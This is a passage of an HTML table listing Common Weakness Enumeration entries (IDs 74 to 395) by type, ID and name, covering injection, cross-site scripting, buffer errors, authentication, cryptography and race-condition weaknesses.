<td>74</td>
<td>Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')</td>
</tr>
<tr>
<td>75</td>
<td>75</td>
<td>Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)</td>
</tr>
<tr>
<td>76</td>
<td>76</td>
<td>Improper Neutralization of Equivalent Special Elements</td>
</tr>
<tr>
<td>77</td>
<td>77</td>
<td>Improper Neutralization of Special Elements used in a Command ('Command Injection')</td>
</tr>
<tr>
<td>78</td>
<td>78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
</tr>
<tr>
<td>79</td>
<td>79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
</tr>
<tr>
<td>80</td>
<td>80</td>
<td>Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)</td>
</tr>
<tr>
<td>81</td>
<td>81</td>
<td>Improper Neutralization of Script in an Error Message Web Page</td>
</tr>
<tr>
<td>82</td>
<td>82</td>
<td>Improper Neutralization of Script in Attributes of IMG Tags in a Web Page</td>
</tr>
<tr>
<td>83</td>
<td>83</td>
<td>Improper Neutralization of Script in Attributes in a Web Page</td>
</tr>
<tr>
<td>84</td>
<td>84</td>
<td>Improper Neutralization of Encoded URI Schemes in a Web Page</td>
</tr>
<tr>
<td>85</td>
<td>85</td>
<td>Doubled Character XSS Manipulations</td>
</tr>
<tr>
<td>86</td>
<td>86</td>
<td>Improper Neutralization of Invalid Characters in Identifiers in Web Pages</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>----</td>
<td>------</td>
</tr>
<tr>
<td>87</td>
<td>Improper Neutralization of Alternate XSS Syntax</td>
<td></td>
</tr>
<tr>
<td>88</td>
<td>Argument Injection or Modification</td>
<td></td>
</tr>
<tr>
<td>89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
<td></td>
</tr>
<tr>
<td>90</td>
<td>Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')</td>
<td></td>
</tr>
<tr>
<td>91</td>
<td>XML Injection (aka Blind XPath Injection)</td>
<td></td>
</tr>
<tr>
<td>92</td>
<td>DEPRECATED: Improper Sanitization of Custom Special Characters</td>
<td></td>
</tr>
<tr>
<td>93</td>
<td>Improper Neutralization of CRLF Sequences ('CRLF Injection')</td>
<td></td>
</tr>
<tr>
<td>94</td>
<td>Improper Control of Generation of Code ('Code Injection')</td>
<td></td>
</tr>
<tr>
<td>95</td>
<td>Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')</td>
<td></td>
</tr>
<tr>
<td>96</td>
<td>Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')</td>
<td></td>
</tr>
<tr>
<td>97</td>
<td>Improper Neutralization of Server-Side Includes (SSI) Within a Web Page</td>
<td></td>
</tr>
<tr>
<td>98</td>
<td>Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')</td>
<td></td>
</tr>
<tr>
<td>99</td>
<td>Improper Control of Resource Identifiers ('Resource Injection')</td>
<td></td>
</tr>
<tr>
<td>102</td>
<td>Struts: Duplicate Validation Forms</td>
<td></td>
</tr>
<tr>
<td>103</td>
<td>Struts: Incomplete validate() Method Definition</td>
<td></td>
</tr>
<tr>
<td>104</td>
<td>Struts: Form Bean Does Not Extend Validation Class</td>
<td></td>
</tr>
<tr>
<td>105</td>
<td>Struts: Form Field Without Validator</td>
<td></td>
</tr>
<tr>
<td>106</td>
<td>Struts: Plug-in Framework not in Use</td>
<td></td>
</tr>
<tr>
<td>107</td>
<td>Struts: Unused Validation Form</td>
<td></td>
</tr>
<tr>
<td>108</td>
<td>Struts: Unvalidated Action Form</td>
<td></td>
</tr>
<tr>
<td>109</td>
<td>Struts: Validator Turned Off</td>
<td></td>
</tr>
<tr>
<td>110</td>
<td>Struts: Validator Without Form Field</td>
<td></td>
</tr>
<tr>
<td>111</td>
<td>Direct Use of Unsafe JNI</td>
<td></td>
</tr>
<tr>
<td>112</td>
<td>Missing XML Validation</td>
<td></td>
</tr>
<tr>
<td>113</td>
<td>Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')</td>
<td></td>
</tr>
<tr>
<td>114</td>
<td>Process Control</td>
<td></td>
</tr>
<tr>
<td>115</td>
<td>Misinterpretation of Input</td>
<td></td>
</tr>
<tr>
<td>116</td>
<td>Improper Encoding or Escaping of Output</td>
<td></td>
</tr>
<tr>
<td>117</td>
<td>Improper Output Neutralization for Logs</td>
<td></td>
</tr>
<tr>
<td>118</td>
<td>Incorrect Access of Indexable Resource ('Range Error')</td>
<td></td>
</tr>
<tr>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td></td>
</tr>
<tr>
<td>120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
<td></td>
</tr>
<tr>
<td>121</td>
<td>Stack-based Buffer Overflow</td>
<td></td>
</tr>
<tr>
<td>122</td>
<td>Heap-based Buffer Overflow</td>
<td></td>
</tr>
<tr>
<td>123</td>
<td>Write-what-where Condition</td>
<td></td>
</tr>
<tr>
<td>124</td>
<td>Buffer Underwrite ('Buffer Underflow')</td>
<td></td>
</tr>
<tr>
<td>125</td>
<td>Out-of-bounds Read</td>
<td></td>
</tr>
<tr>
<td>126</td>
<td>Buffer Over-read</td>
<td></td>
</tr>
<tr>
<td>127</td>
<td>Buffer Under-read</td>
<td></td>
</tr>
<tr>
<td>128</td>
<td>Wrap-around Error</td>
<td></td>
</tr>
<tr>
<td>129</td>
<td>Improper Validation of Array Index</td>
<td></td>
</tr>
<tr>
<td>130</td>
<td>Improper Handling of Length Parameter Inconsistency</td>
<td></td>
</tr>
<tr>
<td>131</td>
<td>Incorrect Calculation of Buffer Size</td>
<td></td>
</tr>
<tr>
<td>132</td>
<td>DEPRECATED (Duplicate): Miscalculated Null Termination</td>
<td></td>
</tr>
<tr>
<td>134</td>
<td>Use of Externally-Controlled Format String</td>
<td></td>
</tr>
<tr>
<td>135</td>
<td>Incorrect Calculation of Multi-Byte String Length</td>
<td></td>
</tr>
<tr>
<td>138</td>
<td>Improper Neutralization of Special Elements</td>
<td></td>
</tr>
<tr>
<td>140</td>
<td>Improper Neutralization of Delimiters</td>
<td></td>
</tr>
<tr>
<td>141</td>
<td>Improper Neutralization of Parameter/Argument Delimiters</td>
<td></td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>-----------------------------------------------------------</td>
</tr>
<tr>
<td></td>
<td>142</td>
<td>Improper Neutralization of Value Delimiters</td>
</tr>
<tr>
<td></td>
<td>143</td>
<td>Improper Neutralization of Record Delimiters</td>
</tr>
<tr>
<td></td>
<td>144</td>
<td>Improper Neutralization of Line Delimiters</td>
</tr>
<tr>
<td></td>
<td>145</td>
<td>Improper Neutralization of Section Delimiters</td>
</tr>
<tr>
<td></td>
<td>146</td>
<td>Improper Neutralization of Expression/Command Delimiters</td>
</tr>
<tr>
<td></td>
<td>147</td>
<td>Improper Neutralization of Input Terminators</td>
</tr>
<tr>
<td></td>
<td>148</td>
<td>Improper Neutralization of Input Leaders</td>
</tr>
<tr>
<td></td>
<td>149</td>
<td>Improper Neutralization of Quoting Syntax</td>
</tr>
<tr>
<td></td>
<td>150</td>
<td>Improper Neutralization of Escape, Meta, or Control Sequences</td>
</tr>
<tr>
<td></td>
<td>151</td>
<td>Improper Neutralization of Comment Delimiters</td>
</tr>
<tr>
<td></td>
<td>152</td>
<td>Improper Neutralization of Macro Symbols</td>
</tr>
<tr>
<td></td>
<td>153</td>
<td>Improper Neutralization of Substitution Characters</td>
</tr>
<tr>
<td></td>
<td>154</td>
<td>Improper Neutralization of Variable Name Delimiters</td>
</tr>
<tr>
<td></td>
<td>155</td>
<td>Improper Neutralization of Wildcards or Matching Symbols</td>
</tr>
<tr>
<td></td>
<td>156</td>
<td>Improper Neutralization of Whitespace</td>
</tr>
<tr>
<td></td>
<td>157</td>
<td>Failure to Sanitize Paired Delimiters</td>
</tr>
<tr>
<td></td>
<td>158</td>
<td>Improper Neutralization of Null Byte or NUL Character</td>
</tr>
<tr>
<td></td>
<td>159</td>
<td>Failure to Sanitize Special Element</td>
</tr>
<tr>
<td></td>
<td>160</td>
<td>Improper Neutralization of Leading Special Elements</td>
</tr>
<tr>
<td></td>
<td>161</td>
<td>Improper Neutralization of Multiple Leading Special Elements</td>
</tr>
<tr>
<td></td>
<td>162</td>
<td>Improper Neutralization of Trailing Special Elements</td>
</tr>
<tr>
<td></td>
<td>163</td>
<td>Improper Neutralization of Multiple Trailing Special Elements</td>
</tr>
<tr>
<td></td>
<td>164</td>
<td>Improper Neutralization of Internal Special Elements</td>
</tr>
<tr>
<td></td>
<td>165</td>
<td>Improper Neutralization of Multiple Internal Special Elements</td>
</tr>
<tr>
<td></td>
<td>166</td>
<td>Improper Handling of Missing Special Element</td>
</tr>
<tr>
<td></td>
<td>167</td>
<td>Improper Handling of Additional Special Element</td>
</tr>
<tr>
<td></td>
<td>168</td>
<td>Improper Handling of Inconsistent Special Elements</td>
</tr>
<tr>
<td></td>
<td>169</td>
<td>Improper Null Termination</td>
</tr>
<tr>
<td></td>
<td>170</td>
<td>Encoding Error</td>
</tr>
<tr>
<td></td>
<td>171</td>
<td>Improper Handling of Alternate Encoding</td>
</tr>
<tr>
<td></td>
<td>172</td>
<td>Double Decoding of the Same Data</td>
</tr>
<tr>
<td></td>
<td>173</td>
<td>Improper Handling of Mixed Encoding</td>
</tr>
<tr>
<td></td>
<td>174</td>
<td>Improper Handling of Unicode Encoding</td>
</tr>
<tr>
<td></td>
<td>175</td>
<td>Improper Handling of URL Encoding (Hex Encoding)</td>
</tr>
<tr>
<td></td>
<td>176</td>
<td>Improper Handling of Case Sensitivity</td>
</tr>
<tr>
<td></td>
<td>177</td>
<td>Incorrect Behavior Order: Early Validation</td>
</tr>
<tr>
<td></td>
<td>178</td>
<td>Incorrect Behavior Order: Validate Before Canonicalize</td>
</tr>
<tr>
<td></td>
<td>179</td>
<td>Incorrect Behavior Order: Validate Before Filter</td>
</tr>
<tr>
<td></td>
<td>180</td>
<td>Collapse of Data into Unsafe Value</td>
</tr>
<tr>
<td></td>
<td>181</td>
<td>Permissive Whitelist</td>
</tr>
<tr>
<td></td>
<td>182</td>
<td>Incomplete Blacklist</td>
</tr>
<tr>
<td></td>
<td>183</td>
<td>Incorrect Regular Expression</td>
</tr>
<tr>
<td></td>
<td>184</td>
<td>Overly Restrictive Regular Expression</td>
</tr>
<tr>
<td></td>
<td>185</td>
<td>Partial Comparison</td>
</tr>
<tr>
<td></td>
<td>186</td>
<td>Reliance on Data/Memory Layout</td>
</tr>
<tr>
<td></td>
<td>187</td>
<td>Integer Overflow or Wraparound</td>
</tr>
<tr>
<td></td>
<td>188</td>
<td>Integer Underflow (Wrap or Wraparound)</td>
</tr>
<tr>
<td></td>
<td>189</td>
<td>Off-by-one Error</td>
</tr>
<tr>
<td></td>
<td>190</td>
<td>Unexpected Sign Extension</td>
</tr>
<tr>
<td></td>
<td>191</td>
<td>Signed to Unsigned Conversion Error</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>----</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>V</td>
<td>196</td>
<td>Unsigned to Signed Conversion Error</td>
</tr>
<tr>
<td>B</td>
<td>197</td>
<td>Numeric Truncation Error</td>
</tr>
<tr>
<td>B</td>
<td>198</td>
<td>Use of Incorrect Byte Ordering</td>
</tr>
<tr>
<td>C</td>
<td>200</td>
<td>Information Exposure</td>
</tr>
<tr>
<td>V</td>
<td>201</td>
<td>Information Exposure Through Sent Data</td>
</tr>
<tr>
<td>V</td>
<td>202</td>
<td>Exposure of Sensitive Data Through Data Queries</td>
</tr>
<tr>
<td>C</td>
<td>203</td>
<td>Information Exposure Through Discrepancy</td>
</tr>
<tr>
<td>B</td>
<td>204</td>
<td>Response Discrepancy Information Exposure</td>
</tr>
<tr>
<td>B</td>
<td>205</td>
<td>Information Exposure Through Behavioral Discrepancy</td>
</tr>
<tr>
<td>V</td>
<td>206</td>
<td>Information Exposure of Internal State Through Behavioral Inconsistency</td>
</tr>
<tr>
<td>B</td>
<td>207</td>
<td>Information Exposure Through an External Behavioral Inconsistency</td>
</tr>
<tr>
<td>B</td>
<td>208</td>
<td>Information Exposure Through Timing Discrepancy</td>
</tr>
<tr>
<td>B</td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
</tr>
<tr>
<td>B</td>
<td>210</td>
<td>Information Exposure Through Self-generated Error Message</td>
</tr>
<tr>
<td>B</td>
<td>211</td>
<td>Information Exposure Through Externally-generated Error Message</td>
</tr>
<tr>
<td>F</td>
<td>212</td>
<td>Improper Cross-boundary Removal of Sensitive Data</td>
</tr>
<tr>
<td>V</td>
<td>213</td>
<td>Intentional Information Exposure</td>
</tr>
<tr>
<td>V</td>
<td>214</td>
<td>Information Exposure Through Process Environment</td>
</tr>
<tr>
<td>V</td>
<td>215</td>
<td>Information Exposure Through Debug Information</td>
</tr>
<tr>
<td>C</td>
<td>216</td>
<td>Containment Errors (Container Errors)</td>
</tr>
<tr>
<td>C</td>
<td>217</td>
<td>DEPRECATED: Failure to Protect Stored Data from Modification</td>
</tr>
<tr>
<td>C</td>
<td>218</td>
<td>DEPRECATED (Duplicate): Failure to provide confidentiality for stored data</td>
</tr>
<tr>
<td>V</td>
<td>219</td>
<td>Sensitive Data Under Web Root</td>
</tr>
<tr>
<td>V</td>
<td>220</td>
<td>Sensitive Data Under FTP Root</td>
</tr>
<tr>
<td>C</td>
<td>221</td>
<td>Information Loss or Omission</td>
</tr>
<tr>
<td>B</td>
<td>222</td>
<td>Truncation of Security-relevant Information</td>
</tr>
<tr>
<td>B</td>
<td>223</td>
<td>Omission of Security-relevant Information</td>
</tr>
<tr>
<td>B</td>
<td>224</td>
<td>Obscured Security-relevant Information by Alternate Name</td>
</tr>
<tr>
<td>C</td>
<td>225</td>
<td>DEPRECATED (Duplicate): General Information Management Problems</td>
</tr>
<tr>
<td>C</td>
<td>226</td>
<td>Sensitive Information Uncleared Before Release</td>
</tr>
<tr>
<td>C</td>
<td>227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
</tr>
<tr>
<td>C</td>
<td>228</td>
<td>Improper Handling of Syntactically Invalid Structure</td>
</tr>
<tr>
<td>B</td>
<td>229</td>
<td>Improper Handling of Values</td>
</tr>
<tr>
<td>V</td>
<td>230</td>
<td>Improper Handling of Missing Values</td>
</tr>
<tr>
<td>V</td>
<td>231</td>
<td>Improper Handling of Extra Values</td>
</tr>
<tr>
<td>V</td>
<td>232</td>
<td>Improper Handling of Undefined Values</td>
</tr>
<tr>
<td>B</td>
<td>233</td>
<td>Improper Handling of Parameters</td>
</tr>
<tr>
<td>V</td>
<td>234</td>
<td>Failure to Handle Missing Parameter</td>
</tr>
<tr>
<td>V</td>
<td>235</td>
<td>Improper Handling of Extra Parameters</td>
</tr>
<tr>
<td>V</td>
<td>236</td>
<td>Improper Handling of Undefined Parameters</td>
</tr>
<tr>
<td>B</td>
<td>237</td>
<td>Improper Handling of Structural Elements</td>
</tr>
<tr>
<td>V</td>
<td>238</td>
<td>Improper Handling of Incomplete Structural Elements</td>
</tr>
<tr>
<td>V</td>
<td>239</td>
<td>Failure to Handle Incomplete Element</td>
</tr>
<tr>
<td>V</td>
<td>240</td>
<td>Improper Handling of Inconsistent Structural Elements</td>
</tr>
<tr>
<td>B</td>
<td>241</td>
<td>Improper Handling of Unexpected Data Type</td>
</tr>
<tr>
<td>B</td>
<td>242</td>
<td>Use of Inherently Dangerous Function</td>
</tr>
<tr>
<td>V</td>
<td>243</td>
<td>Creation of chroot Jail Without Changing Working Directory</td>
</tr>
<tr>
<td>V</td>
<td>244</td>
<td>Improper Clearing of Heap Memory Before Release ('Heap Inspection')</td>
</tr>
<tr>
<td>V</td>
<td>245</td>
<td>J2EE Bad Practices: Direct Management of Connections</td>
</tr>
<tr>
<td>V</td>
<td>246</td>
<td>J2EE Bad Practices: Direct Use of Sockets</td>
</tr>
<tr>
<td>C</td>
<td>247</td>
<td>DEPRECATED (Duplicate): Reliance on DNS Lookups in a Security Decision</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>----</td>
<td>------</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>248</td>
<td>Uncaught Exception</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>249</td>
<td>DEPRECATED: Often Misused: Path Manipulation</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>250</td>
<td>Execution with Unnecessary Privileges</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>252</td>
<td>Unchecked Return Value</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>253</td>
<td>Incorrect Check of Function Return Value</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>256</td>
<td>Plaintext Storage of a Password</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>257</td>
<td>Storing Passwords in a Recoverable Format</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>258</td>
<td>Empty Password in Configuration File</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>259</td>
<td>Use of Hard-coded Password</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>260</td>
<td>Password in Configuration File</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>261</td>
<td>Weak Cryptography for Passwords</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>262</td>
<td>Not Using Password Aging</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>263</td>
<td>Password Aging with Long Expiration</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>266</td>
<td>Incorrect Privilege Assignment</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>267</td>
<td>Privilege Defined With Unsafe Actions</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>268</td>
<td>Privilege Chaining</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>269</td>
<td>Improper Privilege Management</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>270</td>
<td>Privilege Context Switching Error</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>271</td>
<td>Privilege Dropping / Lowering Errors</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>272</td>
<td>Least Privilege Violation</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>273</td>
<td>Improper Check for Dropped Privileges</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>274</td>
<td>Improper Handling of Insufficient Privileges</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>276</td>
<td>Incorrect Default Permissions</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>277</td>
<td>Insecure Inherited Permissions</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>278</td>
<td>Insecure Preserved Inherited Permissions</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>279</td>
<td>Incorrect Execution-Assigned Permissions</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>280</td>
<td>Improper Handling of Insufficient Permissions or Privileges</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>281</td>
<td>Improper Preservation of Permissions</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>282</td>
<td>Improper Ownership Management</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>283</td>
<td>Unverified Ownership</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>284</td>
<td>Improper Access Control</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>285</td>
<td>Improper Authorization</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>286</td>
<td>Incorrect User Management</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>287</td>
<td>Improper Authentication</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>288</td>
<td>Authentication Bypass Using an Alternate Path or Channel</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>289</td>
<td>Authentication Bypass by Alternate Name</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>290</td>
<td>Authentication Bypass by Spoofing</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>291</td>
<td>Reliance on IP Address for Authentication</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>292</td>
<td>DEPRECATED (Duplicate): Trusting Self-reported DNS Name</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>293</td>
<td>Using Referer Field for Authentication</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>294</td>
<td>Authentication Bypass by Capture-replay</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>295</td>
<td>Improper Certificate Validation</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>296</td>
<td>Improper Following of a Certificate’s Chain of Trust</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>297</td>
<td>Improper Validation of Certificate with Host Mismatch</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>298</td>
<td>Improper Validation of Certificate Expiration</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>299</td>
<td>Improper Check for Certificate Revocation</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>300</td>
<td>Channel Accessible by Non-Endpoint (‘Man-in-the-Middle’)</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>301</td>
<td>Reflection Attack in an Authentication Protocol</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>302</td>
<td>Authentication Bypass by Assumed-Immutable Data</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>303</td>
<td>Incorrect Implementation of Authentication Algorithm</td>
</tr>
<tr>
<td><img src="image" alt=" " /></td>
<td>304</td>
<td>Missing Critical Step in Authentication</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>-------------------------------------------------------------</td>
</tr>
<tr>
<td></td>
<td>305</td>
<td>Authentication Bypass by Primary Weakness</td>
</tr>
<tr>
<td></td>
<td>306</td>
<td>Missing Authentication for Critical Function</td>
</tr>
<tr>
<td></td>
<td>307</td>
<td>Improper Restriction of Excessive Authentication Attempts</td>
</tr>
<tr>
<td></td>
<td>308</td>
<td>Use of Single-factor Authentication</td>
</tr>
<tr>
<td></td>
<td>309</td>
<td>Use of Password System for Primary Authentication</td>
</tr>
<tr>
<td></td>
<td>311</td>
<td>Missing Encryption of Sensitive Data</td>
</tr>
<tr>
<td></td>
<td>312</td>
<td>Cleartext Storage of Sensitive Information</td>
</tr>
<tr>
<td></td>
<td>313</td>
<td>Cleartext Storage in a File or on Disk</td>
</tr>
<tr>
<td></td>
<td>314</td>
<td>Cleartext Storage in the Registry</td>
</tr>
<tr>
<td></td>
<td>315</td>
<td>Cleartext Storage of Sensitive Information in a Cookie</td>
</tr>
<tr>
<td></td>
<td>316</td>
<td>Cleartext Storage of Sensitive Information in Memory</td>
</tr>
<tr>
<td></td>
<td>317</td>
<td>Cleartext Storage of Sensitive Information in GUI</td>
</tr>
<tr>
<td></td>
<td>318</td>
<td>Cleartext Storage of Sensitive Information in Executable</td>
</tr>
<tr>
<td></td>
<td>319</td>
<td>Cleartext Transmission of Sensitive Information</td>
</tr>
<tr>
<td></td>
<td>321</td>
<td>Use of Hard-coded Cryptographic Key</td>
</tr>
<tr>
<td></td>
<td>322</td>
<td>Key Exchange without Entity Authentication</td>
</tr>
<tr>
<td></td>
<td>323</td>
<td>Reusing a Nonce, Key Pair in Encryption</td>
</tr>
<tr>
<td></td>
<td>324</td>
<td>Use of a Key Past its Expiration Date</td>
</tr>
<tr>
<td></td>
<td>325</td>
<td>Missing Required Cryptographic Step</td>
</tr>
<tr>
<td></td>
<td>326</td>
<td>Inadequate Encryption Strength</td>
</tr>
<tr>
<td></td>
<td>327</td>
<td>Use of a Broken or Risky Cryptographic Algorithm</td>
</tr>
<tr>
<td></td>
<td>328</td>
<td>Reversible One-Way Hash</td>
</tr>
<tr>
<td></td>
<td>329</td>
<td>Not Using a Random IV with CBC Mode</td>
</tr>
<tr>
<td></td>
<td>330</td>
<td>Use of Insufficiently Random Values</td>
</tr>
<tr>
<td></td>
<td>331</td>
<td>Insufficient Entropy</td>
</tr>
<tr>
<td></td>
<td>332</td>
<td>Insufficient Entropy in PRNG</td>
</tr>
<tr>
<td></td>
<td>333</td>
<td>Improper Handling of Insufficient Entropy in TRNG</td>
</tr>
<tr>
<td></td>
<td>334</td>
<td>Small Space of Random Values</td>
</tr>
<tr>
<td></td>
<td>335</td>
<td>PRNG Seed Error</td>
</tr>
<tr>
<td></td>
<td>336</td>
<td>Same Seed in PRNG</td>
</tr>
<tr>
<td></td>
<td>337</td>
<td>Predictable Seed in PRNG</td>
</tr>
<tr>
<td></td>
<td>338</td>
<td>Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)</td>
</tr>
<tr>
<td></td>
<td>339</td>
<td>Small Seed Space in PRNG</td>
</tr>
<tr>
<td></td>
<td>340</td>
<td>Predictability Problems</td>
</tr>
<tr>
<td></td>
<td>341</td>
<td>Predictable from Observable State</td>
</tr>
<tr>
<td></td>
<td>342</td>
<td>Predictable Exact Value from Previous Values</td>
</tr>
<tr>
<td></td>
<td>343</td>
<td>Predictable Value Range from Previous Values</td>
</tr>
<tr>
<td></td>
<td>344</td>
<td>Use of Invariant Value in Dynamically Changing Context</td>
</tr>
<tr>
<td></td>
<td>345</td>
<td>Insufficient Verification of Data Authenticity</td>
</tr>
<tr>
<td></td>
<td>346</td>
<td>Origin Validation Error</td>
</tr>
<tr>
<td></td>
<td>347</td>
<td>Improper Verification of Cryptographic Signature</td>
</tr>
<tr>
<td></td>
<td>348</td>
<td>Use of Less Trusted Source</td>
</tr>
<tr>
<td></td>
<td>349</td>
<td>Acceptance of Extraneous Untrusted Data With Trusted Data</td>
</tr>
<tr>
<td></td>
<td>350</td>
<td>Reliance on Reverse DNS Resolution for a Security-Critical Action</td>
</tr>
<tr>
<td></td>
<td>351</td>
<td>Insufficient Type Distinction</td>
</tr>
<tr>
<td></td>
<td>353</td>
<td>Missing Support for Integrity Check</td>
</tr>
<tr>
<td></td>
<td>354</td>
<td>Improper Validation of Integrity Check Value</td>
</tr>
<tr>
<td></td>
<td>356</td>
<td>Product UI does not Warn User of Unsafe Actions</td>
</tr>
<tr>
<td></td>
<td>357</td>
<td>Insufficient UI Warning of Dangerous Operations</td>
</tr>
<tr>
<td></td>
<td>358</td>
<td>Improperly Implemented Security Check for Standard</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>----</td>
<td>------</td>
</tr>
<tr>
<td></td>
<td>359</td>
<td>Exposure of Private Information ('Privacy Violation')</td>
</tr>
<tr>
<td></td>
<td>360</td>
<td>Trust of System Event Data</td>
</tr>
<tr>
<td></td>
<td>362</td>
<td>Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</td>
</tr>
<tr>
<td></td>
<td>363</td>
<td>Race Condition Enabling Link Following</td>
</tr>
<tr>
<td></td>
<td>364</td>
<td>Signal Handler Race Condition</td>
</tr>
<tr>
<td></td>
<td>365</td>
<td>Race Condition in Switch</td>
</tr>
<tr>
<td></td>
<td>366</td>
<td>Race Condition within a Thread</td>
</tr>
<tr>
<td></td>
<td>367</td>
<td>Time-of-check Time-of-use (TOCTOU) Race Condition</td>
</tr>
<tr>
<td></td>
<td>368</td>
<td>Context Switching Race Condition</td>
</tr>
<tr>
<td></td>
<td>369</td>
<td>Divide By Zero</td>
</tr>
<tr>
<td></td>
<td>370</td>
<td>Missing Check for Certificate Revocation after Initial Check</td>
</tr>
<tr>
<td></td>
<td>372</td>
<td>Incomplete Internal State Distinction</td>
</tr>
<tr>
<td></td>
<td>373</td>
<td>DEPRECATED: State Synchronization Error</td>
</tr>
<tr>
<td></td>
<td>374</td>
<td>Passing Mutable Objects to an Untrusted Method</td>
</tr>
<tr>
<td></td>
<td>375</td>
<td>Returning a Mutable Object to an Untrusted Caller</td>
</tr>
<tr>
<td></td>
<td>377</td>
<td>Insecure Temporary File</td>
</tr>
<tr>
<td></td>
<td>378</td>
<td>Creation of Temporary File With Insecure Permissions</td>
</tr>
<tr>
<td></td>
<td>379</td>
<td>Creation of Temporary File in Directory with Incorrect Permissions</td>
</tr>
<tr>
<td></td>
<td>382</td>
<td>J2EE Bad Practices: Use of System.exit()</td>
</tr>
<tr>
<td></td>
<td>383</td>
<td>J2EE Bad Practices: Direct Use of Threads</td>
</tr>
<tr>
<td></td>
<td>385</td>
<td>Covert Timing Channel</td>
</tr>
<tr>
<td></td>
<td>386</td>
<td>Symbolic Name not Mapping to Correct Object</td>
</tr>
<tr>
<td></td>
<td>390</td>
<td>Detection of Error Condition Without Action</td>
</tr>
<tr>
<td></td>
<td>391</td>
<td>Unchecked Error Condition</td>
</tr>
<tr>
<td></td>
<td>392</td>
<td>Missing Report of Error Condition</td>
</tr>
<tr>
<td></td>
<td>393</td>
<td>Return of Wrong Status Code</td>
</tr>
<tr>
<td></td>
<td>394</td>
<td>Unexpected Status Code or Return Value</td>
</tr>
<tr>
<td></td>
<td>395</td>
